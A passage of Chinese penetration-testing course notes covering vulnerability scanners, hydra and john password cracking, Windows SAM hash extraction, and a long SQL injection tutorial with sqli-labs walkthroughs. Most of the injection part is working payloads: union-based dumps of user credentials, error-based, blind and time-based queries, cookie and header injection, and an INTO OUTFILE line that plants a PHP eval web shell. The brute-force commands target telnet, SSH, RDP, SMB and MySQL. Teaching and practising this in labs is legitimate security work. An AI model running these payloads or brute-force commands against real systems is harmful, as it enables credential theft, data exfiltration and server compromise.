    漏洞名称
    漏洞等级(高危|中危|低险|信息泄露)
    漏洞描述
    漏洞的危害(前半部分,后半部分)
    修复建议(前半部分,后半部分)
  • 获取的漏洞结合 metasploit 服务

9.3 W3af 扫描

https://www.freebuf.com/articles/5472.html
https://www.freebuf.com/column/146469.html

9.4 OWASP-ZAP 扫描

https://www.cnblogs.com/csnd/p/11807789.html

9.5 BURP-Scanner 扫描

抓包之后,发送到扫描即可

9.6 Nikto2扫描

https://blog.csdn.net/freeking101/article/details/72872502

七 口令破解

7.1 口令安全现状

弱口令:类似于123456、654321、admin123 等这样常见的弱密码。
默认口令:很多应用或者系统都存在默认口令。比如phpstudy的mysql数据库默认账密[root/root],Tomcat管理控制台默认账密[tomcat/tomcat]等。
明文传输:比如 http I ftp I telnet,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有被嗅探的风险。

7.2 破解方式

  • 在线破解方式:帐+密,需要认证
    windows密码破解工具 ------> hydra
【九头蛇】
暴力破解23端口telnet协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 telnet
暴力破解21端口ftp协议:hydra.exe -L d:\hydra-8.1-windows\user.txt -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 ftp
暴力破解445端口smb协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 smb【-vV显示暴力破解的过程】
暴力破解3389端口rdp协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 rdp
暴力破解22端口ssh协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 ssh
暴力破解3306端口mysql协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 mysql

-l            指定一个用户名
-p            指定一个密码
-P            指定密码字典
-L            指定用户名字典
-vV           显示爆破细节
-o            保存爆破结果
-f            找到正确的密码就停止爆破
-e            // -e nsr
      n       null
      s       same
      r       反向
-t            设置线程
一般结合 msfconsole 工具。
  • 离线破解方式
    密文还原成明文的过程。

7.3 暴力破解

暴力破解就是利用所有可能得字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码。下表是根据不同位数生成密码的空间大小。

字符集               密码位数                    密码空间
[0-9]                 8位                 10^8=100000000
[0-9][a-z]            8位                 36^8=2821109907456
[0-9][a-z]            1-8位               ??
  • 社工字典
    🐇 kali下cupp ,安装命令apt-get install cupp ,使用 cupp
    🐇 亦思社会工程学字典生成器

  • 字符集字典生成器
    🐇 真空密码字典生成器
    🐇 kali工具crunch:不会的话可以 man help https://www.jianshu.com/p/c20efd7f092c

7.4 口令破解

  • 字典收集
    子域名字典
    默认账号密码字典
    文件路径字典
    日志文件
    Web目录
    常用变量名字典
    常用文件名字典
    弱口令字典

7.5 windows口令破解

远程爆破

windows密码破解工具 ------> hydra

本地破解——账户hash值破解

  • 从内存中读取windows密码
    利用Getpass从内存中提取密码
  • windows hash 值破解
    首先使用QuarksPwdump工具提取windows账号存储在sam中的hash值,手工将hash值存储到hash.txt,使用saminside软件/join工具进行hash暴力破解。
    john win2k8.hash --format=NT --Wordlist=/root/dic/winPass.dic
    john win2k8.hash --show --format=NT

7.6 linux口令破解

远程爆破

linux口令破解,也分远程破解与本地破解。远程破解主要是爆破ssh服务,属于在线密码攻击。

本地破解——账户shadow文件破解

本地破解需要拿到Linux的shadow文件,进行hash值破解,属于离线密码攻击。.
我们可以使用john工具,破解shadow密码文件。
john也是自动集成在kali中。john破解的时候也需要准备一个字典。
[john shadow]

八 SQL注入基础

1 简介

结构化查询语言(St ructured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3.
135–1986),1987年得 到国际标准组织的支持下成为国际标准。

MYSQL ACCESS MSSQL orcal
明显的层次结构  
            库名字 | 表明 | 字段名 | 字段内容

不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

2 漏洞原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结外一 下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

【注入点可能存在的位置】
根据SQL注入漏洞的原理,在用户可控参数中注入SQL语法,也就是说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:

  • GET数据
  • POST数据
  • HTTP头部(HTTP 请求报文其他字段)
  • Cookie数据
  • GPC(get,post,cookie)

3 漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限

【分类】

  • SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型字符型
  • 数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
  • 宇符型注入正好相反。

根据注入手法分类,大致可分为以下几个类别。

@ UNION query SQL injection(可联合查询注入)                    【联合查询】
@ Error-based SQL injection(报错型注入)                       【报错注入】
@ Boolean-based blind SQL inj ection(布尔型注入)              【布尔盲注】
@ Time--based blind SQL injection(基于时间延迟注入)            【延时注入】
@ Stacked queries SQL injection(可多语句查询注入)              【堆叠查询】

注入点的判断

  • 我们会在疑似注入点的连接或参数后面尝试提交以下数据。
  • 测试数据和方法不仅限于以上几种,并且还有多种变化。这些语句和变化需要在实战中去体会。

3 MYSQL相关

本课程内容主要使用 *map环境,既然要探讨SQL注入漏洞,需要对数据库有所了解,此处以mysql为例,这里只是起到抛砖引玉的作用,其他数据库环境下的SQL注入,读者可以按照本课程的思路去学习,唯一不同的只是数据库的特性。

3.1 注释

mysql数据库的注释大概有以下几种。

#
-- (杠杠空格)
/*........*/
/*!........*/  内联查询

3.2 mysql元数据库数据库

show databases;           ---->information__schema(存储的是库名)
                                            |
use information__schema;                    |
show tables;                                ---->tables(存储的是表的信息)
select *from tables;                       |          |
                                            |          \ ---->table_name(存储的是表名)
                                            |          \ ---->table_schema(存储的是表所属数据库的名)
                                            |
use information__schema;                    \---->columns
desc columns;                                          |
                                                       \---->columns_name(存储的是所有表的字段的名字)
                                                       \---->table_name(字段所在的表明)
                                                       \---->table_schema(字段所在的库名)

3.2 MYSQL常用函数与参数

//select 1<>1   返回的是0
//select 1<>2   返回的是1
=    >    >=    <=    <>         比较运算符

and  0r                          逻辑运算符
version()                        mysql数据库版本
database()                       当前数据库名
user()                           用户名
current_user()                   当前用户名
system_user()                    系统用户名.
@@datadir                        数据库路径
@@versoin_compile_OS             操作系统版本
length()                         返回字符串的长度
substring()                      截取字符串
substr()                        
mid()1个参数是所截取的字符串
                                 第2个参数是所截取的位置(从1开始计数)
                                 第3个表示长度
例如:select substring(database(),1,1);  截取第一个字母
                
left()                           从左侧开始取指定字符个数的字符串 //select left("abcd",1);
concat()                         没有分隔符的连接字符串         //select concat('a','b','c');
concat__ws()                     含有分割符的连接字符串         //select concat-ws("-",'a','b','c');
group_concat()                   连接一个组的字符串            //select group_concat(id) from cms_article;           

ord()                            返回ASCII码ascii()    //select ord('a')
hex()                            将字符串转换为十六进制unhex()hex的反向操作
md5()                            返回MD5值
floor(x)                         返回不大于x的最大整数
round()                          返回参数x,接近的整数
rand()                           返回0-1之间的随机浮点数
load_file()                      读取文件,并返回文件内容作为一个字符串
sleep()                          睡眠时间为指定的秒数
if(true,t,f)                     if判断
find__in__set()                  返回字符串在字符串列表中的位置
benchmark()                      指定语句执行的次数
name_const()                     返回表作为结果

@逻辑运算
在SQL语句中逻辑运算与(and)比或(or)的优先级高。
[select 1=2 and 1=2 or 1=1]    //true

3.3 注入流程

由于关系型数据库系统,具有明显的【库/表/列/内容结构层次】,所以我们通过SQL注入漏洞获取数据库中信息时候,也依据这样的顺序。

首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

4 SQL注入四大基本技巧

4.1 首先使用御剑进行,有助于我们注入

御剑是基于自己的字典进行扫描并返回响应的。
在这里插入图片描述

4.2 注入点的判断

页面分析:172.16.132.161/cms/show.php?id=33

【口诀】

现象方法
页面是否有回显联合查询
页面是否有报错报错注入
页面是否有布尔类型状态布尔盲注
页面是否有延时注入延时注入
(1)变换id参数
  • 当我们变换id参数(35+1 | 35-1)的时候,发现同一个页面,show.php页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
  • 初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容。
  • 猜测后台执行的SQL语句大致结构为:select * from tbName where id=35;
    猜测sql语句类型:select * from tbName where id=$id
(2)单引号:判断漏洞类型是 字符型还是数字型
  • 执行的SQL主语则变为 select * from tbName where id=33’
  • 页面报错,并且报错信息会回显在网页中,报错信息如下
    You have an error in your SQL syntax;check the manual that Co rresponds to your MySQL server version for the right syntax to use near ’ ’ ’ at line 1
    错误信息提示单引号位置出现错误,那么说明,SQL语句从头到参数33都是正确的。也就是说,我们添加的单引号是多余的
    因此,可以断定参数33前面没有引号。则,此注入点(可能)为数字型注入

这里的报错没有显示35,说明是数字型注入
如果报错内容显示出来了35,说明是字符型注入

(3) and 1=1 测试是否有布尔类型状态

【?id=35 and 1=1 --+ 】

可能得SQL语句为 :select * from tbName where id=33 and 1=1 --+ ,结果显示页面正常。

(4) and 1=2 测试是否有布尔类型状态

【?id=35 and 1=2 --+ 】

可能得SQL语句为 :select * from tbName where id=33 and 1=2 --+

页面没有新闻内容,并且数据库没有报错。由于1=2是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL语句在数据库中执行后,没有返回结果,没有新闻内容。

反过来看,页面没有新闻内容,也就是SQL语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件真假性,在页面回显中有体现

(5) and sleep(5)

[?id=33 and sleep(5)]
注入sleep(5)语句,可以通过网络时间线看到延时,说明sleep(5)语句起到了作用。
综上,此连接存在SQL注入漏洞。

4.3 联合查询

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。

【联合查询】
就是SQL语法中的union select 语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。实现跨库跨表查询
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。

【必要条件】
两张虚拟的表具有相同的列数
虚拟表对应的列的数据类型相同

【判断字段个数】

  • 使用[order by]语句来判断当前select语句所查询的虚拟表的列数
  • order by语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错 Unknown cotumn1。
  • 依次增加数字,直到数据库报错

select * from tbName where id=33 order by 16 时候出现了报错,所以有15个列。
在这里插入图片描述
【判断显示位置】

  • 得到字段个数之后,可以尝试构造联合查询语句

  • 这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
    [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
    [?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --+]

  • 页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录
    因此构造SQL语句:
    [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+] 或者
    [?id=-33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
    在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar.
    在这里插入图片描述

【获取数据库详细信息】
[?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]
[?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,@@datadir,12,13,14,15 --+]
在这里插入图片描述
【拖库】

  • 获取一个表名
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema tables where table_schema=database() --+]
    直接查询报错,因为对应字段编码问题导致的
    在这里插入图片描述
    转化为十六进制
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema tables where table_schema=database() --+]
    在这里插入图片描述十六进制解码后得到结果:cms_article

  • 获取所有表名
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema tables where table_schema=database() --+]
    获得一个很长的字符串,解码后,得到拼接好的所有的表名。
    在这里插入图片描述

  • 查询表中的字段
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema tables where table_schema=database() and table_name=cms_users --+]
    1 为了避免使用字符串,所以表明转换为十六进制,结果如下:
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema tables where table_schema=database() and table_name=0x636d73517573657273]
    2 十六进制解码后获取到表的字段
    在这里插入图片描述

  • 查询表内容
    [?id=-33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users]
    在这里插入图片描述
    md5解密后发现账号和密码是:admin 123456

4.4 报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

4.4.1 group by重复键冲突 —>有一定的概率

关于group by聚合函数的报错,是MySQL的一个bug编号为#8652。当使用 rand() 函数进行分组聚合时,会产生重复键的错误。
参考连接 [https://bugs.mysq1.com/bug.php?id=8652]

[?id=33 and (select 1 from (select count (*),concat ((select version() from information_schema.tables limit(0,1),floor(rand()*2))x from info rmation_schema.tables group by x)a) --+]

[?id=33 and (select 1 from (select count (*),concat ((select database() from information_schema.tables limit(0,1),floor(rand()*2))x from info rmation_schema.tables group by x)a) --+]

[?id=33 and (select 1 from (select count (*),concat ((select database() from information_schema.tables limit(0,1),floor(rand()*2))x from info rmation_schema.tables group by x)a) --+] 加粗内容可以换成其他的查询语句

网传版本gropby
[?id=33 and (select 1 from (select count (*),concat (’^’,(select database() from information_schema.tables limit(0,1),’^’,floor(rand()*2))x from info rmation_schema.tables group by x)a) --+]

简化版本gropby
[?id=33 union select 1,2,concat(left(rand(),3),’^’,(select database()),’^’)a,count(*),5,6,7,8,9,10,11,12,13,14,15 from info rmation_schema.tables group by a --+]

                                   【group by测试】
1. 创建数据库,并写入数据
create database groupbyTest;
create table r1(a int);
insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
2. 简单的查询
select * from r1;
均成功显示出来。
3. select count(*) from r1;
显示14条。
4. selsect count(*) from r1 group by a;  //显示两个7
   selsect count(*) from r1 group by 1;   //不显示
   selsect count(*) from r1 group by “1”;   //显示14
5. select left(rand(),3),a from r1 group by 1;
select floor(rand()*2),a,count(*) from r1 group by 1;
由于rand函数存在,以至于每次执行的结果都不一样
+------------------------------+
| left (rand(),3)  |         a |
+------------------------------+
| 0.1              |          1|
| 0.2              |          2|
| 0.3              |          2|
| 0.4              |          1|
| 0.5              |          1|
| 0.6              |          2|
| 0.7              |          1|
| 0.8              |          2|
| 0.9              |          1|
+------------------------------+
9 rows in set (O.00 sec)

6. select left(rand(),3),a,count(*) from r1 group by 1;
出现错误!!!
 
【SQL语句解析过程】
#    FROM
     from后面的表标识了这条语句要查询的数据源。
     from过程之后会形成--个虚拟的表VT1。
#     WHERE 
      WHERE对 VT1 过程中生成的临时表进行过滤,满足where子句的列被插入到VT2。
#     GROUP BY 
      GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3。
#     HAVING 
      HAVING这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中。
#     SELECT
      SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表。
      -      计算表达式,计算SELECT子句中的表达式,生成VT5-1
      -      DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
      -      TOP从ORDER BY子句定义的结果中,筛选出符会条件的列。生成VT5-3
#     order BY
      从VT5-3中的表,根据ORDER BY子句的结果来进行排序,生成VT6。

【grop by和select执行round的值不同,因此产生重复键冲突的问题。】


【报错注入】
根据语句 select left(rand(),3),a,count(*) from r1 group by 1;构造出报错注入
        select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x; 
        
语句中的as是给concat(left(rand(),3),'^',(select version()),'^')  起一个别名x方便后面的聚合操作。此处as可以省略,直接写x即可。'^'的作用是做一个语句的拼接。
        select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;

如果关键的表被禁用了,可以自己构造一个表,可以采用如下语句:

select concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;

如果rand() | count() 被禁用了,可采用如下方式:

select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);

不依赖额外的函数和具体的表

select min(@a:=1) from(select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a+1)%2);

4.4.2 XPATH报错

@ extractalue( )
[?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
@ updatexml( )
[?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

4.5 布尔盲注

4.5.1 判断数据库名的长度

【?id=35 and length(database())>0 】
【?id=35 and length(database())<5 】
【?id=35 and length(database()) < 3 】
【?id=35 and length(database())>3 】
【?id=35 and length(database())=3 】

4.5.2 判断数据库的名字

【?id=35 and ascii(substr(database(),1,1))>0 】 //判断数据库的第一个字母的范围,最终确定具体数值
【?id=35 and ascii(substr(database(),1,1))<100 】
【?id=35 and ascii(substr(database(),1,1))>50 】

【?id=35 and ascii(substr(database(),2,1))>100 】

4.6 延时注入

4.6.1 原理

利用sleep() 语句的延时性,以时间线作为判断条件。
@获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1) --+]

4.7 文件读写注入

                                         PHPstudy设置
【前提条件】
我们也可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。

1.secure--file-priv
可以在phpmyadmin中看到该变量。
该参数在高版本的mysql数据库中限制了文件的导入导出操作。该参数可以写在 my.ini 配置文件中[mysqld]下。若要配置此参数,需要修改 my.ini 配置文件,并重启mysql服务。

【关于该参数值的相关说明】
secure--file-priv      参数配置                            含义
secure--file-priv=                                不对mysqld的导入导出操作做限制
secure--file--priv='c:/a/'                        限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
secure--file-priv=null                            限制mysqld不允许导入导出操作

2.当前用户具有文件权限
查询语句[select File_priv from mysql.user where user="root" and host="localhost"]。.

3 目标文件写入方式
【读取文件操作】
[?id=-1' union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+]
【写入文件操作】
[?id=1' and 1=2 union select 1,'<php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php' --+],直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]

4.8 宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。使用[?id=1’]进行测试的时候,发现提交的单引号会被转义[’]。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构
单引号 | #号都会被转义
解决方法:在单引号前面加上一个 %df,%af,%cf 均可。

此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接最后进行数据库查询

GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位
。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。转移字符[]的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转移字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用。
所以,如果我们提交这样的参数
[?id=1000 %df’ union select 1,2,3 --+]
,就可以使用联合查询进行注入了。
0xdf5c就是一个汉字"運"。
在这里插入图片描述

4.9 cookie注入

SQLi-labs 20关为例。Cookie注入的注入参数需要通过Cookie提交,可以通过 [document.cookie]控制台完成对浏览器Cookie的读写。来到Less-20,在控制台输入
[document.cookie=“uname=Dumb’ and extractvalue(1,concat(0x7e,database(),0x7e))#”] , 刷新页面即可。
在这里插入图片描述

打开burpsuit

  • 刷新页面抓包,放入到repeater模块。再次输入admin和password,并抓包发送到repeater模块。到repeater模块,将两个包都发送到compare模块,进行比较。我们发现只有cookie不同。

  • 点击go,可以再次获取到cookie。
    在这里插入图片描述

  • cookie加上单引号再次go的时候,得到报错信息,所以我们可以知道这是字符型注入,单引号闭合
    在这里插入图片描述- 这里我们用#(或者–空格)进行注释,因为–+是我们在url中对空格的变换
    Coole. Jname=Dumb’ #
    再次go,我们发现这里的回显不是数据库的回显,所以,不算回显,因此,我们使用报错注入。

  • 使用报错回显
    Cookie.uname=Angelna’ and updatexml(1,concat(0x5e, version(),0x5e),1) #
    Cookie:uname=Angelina’ and updatexm(0x7e,version(),0x7e) # (这个写法会显示不全)
    在这里插入图片描述

4.10 base64注入

我们以SQLI-labs第22关来说明base64注入的问题。base64注入也是比较简单的,只不过将注入字段经过base64编码。经过测试,发现22关属于Cookie型的base64注入。我们可以使用报错注入手法,payload
[document.cookie=“uname=Dumb” and extractvalue(1,concat(0x7e,database(),0x7e)) #"]
在控制台输入
[document.cookie=“uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdLLGRhdCFiYXNlKCksMHg3ZSkpIw==”]。
刷新网页即可。

【登录页面,刷新,抓包】
在这里插入图片描述

【将抓到的包放入到repead模块,再次go获取到返回的页面信息】
在这里插入图片描述其实uname等于的就是我们输入的dumb的base64编码。

【单引号测试:利用burpsuit将输入直接修改为 dumb’ 的base64编码,进行测试,页面无报错】
【双引号测试:利用burpsuit将输入直接修改为 dumb" 的base64编码,进行测试,页面报错】
在这里插入图片描述

【进行报错注入】
利用burpsuit将输入直接修改为 【Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1) #】的base64编码,即可获得版本信息。

4.11 HTTP头部注入

http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer 等。

  • User-Agent 注入 如SQLi-labs第18关
    【输入后获得界面】
    在这里插入图片描述
    【burpsuit抓包获得user-agent信息】
    在这里插入图片描述
    修改user-agent后,发现返回的跟我们修改的一样
    在这里插入图片描述

【在user-agent处进行单引号测试,发现这是字符型注入,并且以单引号闭合】
在这里插入图片描述

用#号进行闭合报错,所以172.16.132.146’,‘Dumb’)是不可以省略的,我们我们这样闭合 user-agent:ajest’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1 。获得结果:
在这里插入图片描述

  • Referer 注入
    第19关,注入字段在Referer中
    在这里插入图片描述【抓包分析】
    在这里插入图片描述
    【报错注入】
    Referer:hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’=’
    在这里插入图片描述

4.12 练习sql-libs

Less-1 字符型注入,闭合方式:’

【注入点测试】
1 http://127.0.0.1/sqli-labs/Less-1/?id=1
在这里插入图片描述
2 http://127.0.0.1/sqli-labs/Less-1/?id=2
在这里插入图片描述
3 http://127.0.0.1/sqli-labs/Less-1/?id=2’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’ LIMIT 0,1’ at line 1 ====》根据报错"2",说明这是字符型注入。【闭合方式单引号

4 127.0.0.1/sqli-labs/Less-1/?id=2’ %23 【%23就是#,相当于–+】
在这里插入图片描述
5 127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=1 --+
127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=2 --+
在这里插入图片描述
6 127.0.0.1/sqli-labs/Less-1/?id=2’ and sleep(5) --+

【联合查询】
127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=2 union select 1 --+
The used SELECT statements have a different number of columns

127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=2 union select 1,2 --+
The used SELECT statements have a different number of columns

127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=2 union select 1,2,3 --+
在这里插入图片描述
127.0.0.1/sqli-labs/Less-1/?id=2’ and 1=2 union select 1,version(),3 --+
在这里插入图片描述

Less-2 数字型注入

【注入点测试】 http://127.0.0.1/sqli-labs/Less-2/

1 变换id参数
http://127.0.0.1/sqli-labs/Less-2/?id=2  //页面有变化

2 单引号:判断漏洞类型是  字符型还是数字型
http://127.0.0.1/sqli-labs/Less-2/?id=2  报错结果如下,没有显示2,所以是数字型注入。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1   

3 联合注入
http://127.0.0.1/sqli-labs/Less-2/?id=2 union select 1
http://127.0.0.1/sqli-labs/Less-2/?id=2 union select 1,2
报错:The used SELECT statements have a different number of columns
http://127.0.0.1/sqli-labs/Less-2/?id=2 union select 1,2,3     //正常显示
http://127.0.0.1/sqli-labs/Less-2/?id=2 and 1=2 union select 1,version(),database()   //拖库第一步

Less-3 字符型注入:单引号括号闭合

【注入点测试】 http://127.0.0.1/sqli-labs/Less-3/

1 变换id参数
http://127.0.0.1/sqli-labs/Less-3/?id=1
http://127.0.0.1/sqli-labs/Less-3/?id=2

2 单引号====>字符型
http://127.0.0.1/sqli-labs/Less-3/?id=2'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'') LIMIT 0,1' at line 1
闭合方式:单引号+右括号
http://127.0.0.1/sqli-labs/Less-3/?id=2') --+

3 and 1=1 测试是否有布尔类型状态
http://127.0.0.1/sqli-labs/Less-3/?id=2') and 1=1 --+
http://127.0.0.1/sqli-labs/Less-3/?id=2') and 1=2 --+
页面变化

4 联合查询
http://127.0.0.1/sqli-labs/Less-3/?id=2') and 1=2 union select 1,2,version() --+

Less-4 字符型注入:双引号括号闭合

1 变换id参数
http://127.0.0.1/sqli-labs/Less-4/?id=1
http://127.0.0.1/sqli-labs/Less-4/?id=2

2 单引号:没有显示
http://127.0.0.1/sqli-labs/Less-4/?id=2'

3 双引号 ====> 字符型,双引号括号闭合
http://127.0.0.1/sqli-labs/Less-4/?id=2"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
闭合方式:双引号+右括号
http://127.0.0.1/sqli-labs/Less-4/?id=2") --+

3 and 1=1 测试是否有布尔类型状态
http://127.0.0.1/sqli-labs/Less-4/?id=2") and 1=1 --+
http://127.0.0.1/sqli-labs/Less-4/?id=2") and 1=2 --+
页面变化

4 联合查询
http://127.0.0.1/sqli-labs/Less-4/?id=2") and 1=2 union select 1,2,version() --+

Less-5 报错注入:变换id没有回显,有字符串注入错误

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-5/?id=1
http://127.0.0.1/sqli-labs/Less-5/?id=2
http://127.0.0.1/sqli-labs/Less-5/?id=3

2 单引号:无异常显示
http://127.0.0.1/sqli-labs/Less-5/?id=3'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'' LIMIT 0,1' at line 1
闭合方式:单引号
http://127.0.0.1/sqli-labs/Less-5/?id=3' --+

3 and 1=1 测试是有布尔类型状态
http://127.0.0.1/sqli-labs/Less-5/?id=3' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-5/?id=3' and 1=2 --+
页面变化

4 报错注入
http://127.0.0.1/sqli-labs/Less-5/?id=3' and updatexml(1,concat(0x5e,version(),0x5e),1) --+
http://127.0.0.1/sqli-labs/Less-5/?id=3' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

【如果查询密码时候显示不全,则进行切割】
http://127.0.0.1/sqli-labs/Less-5/?id=3' and updatexml(1,concat(0x5e,substr((select password from cms_users),1,16),0x5e),1) --+

Less-6 报错注入:变换id没有回显,有字符串注入错误

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-6/?id=1
http://127.0.0.1/sqli-labs/Less-6/?id=2
http://127.0.0.1/sqli-labs/Less-6/?id=3

2 单引号:无异常
http://127.0.0.1/sqli-labs/Less-6/?id=3'

3 双引号
http://127.0.0.1/sqli-labs/Less-6/?id=3"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"3"" LIMIT 0,1' at line 1
字符型注入,闭合方式:双引号

4 and 1=1 测试是有布尔类型状态
http://127.0.0.1/sqli-labs/Less-6/?id=3" and 1=1 --+
http://127.0.0.1/sqli-labs/Less-6/?id=3" and 1=2 --+
页面变化

5 报错注入
http://127.0.0.1/sqli-labs/Less-6/?id=3" and updatexml(1,concat(0x5e,version(),0x5e),1) --+
http://127.0.0.1/sqli-labs/Less-6/?id=3" and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-7 延迟注入:读写文件

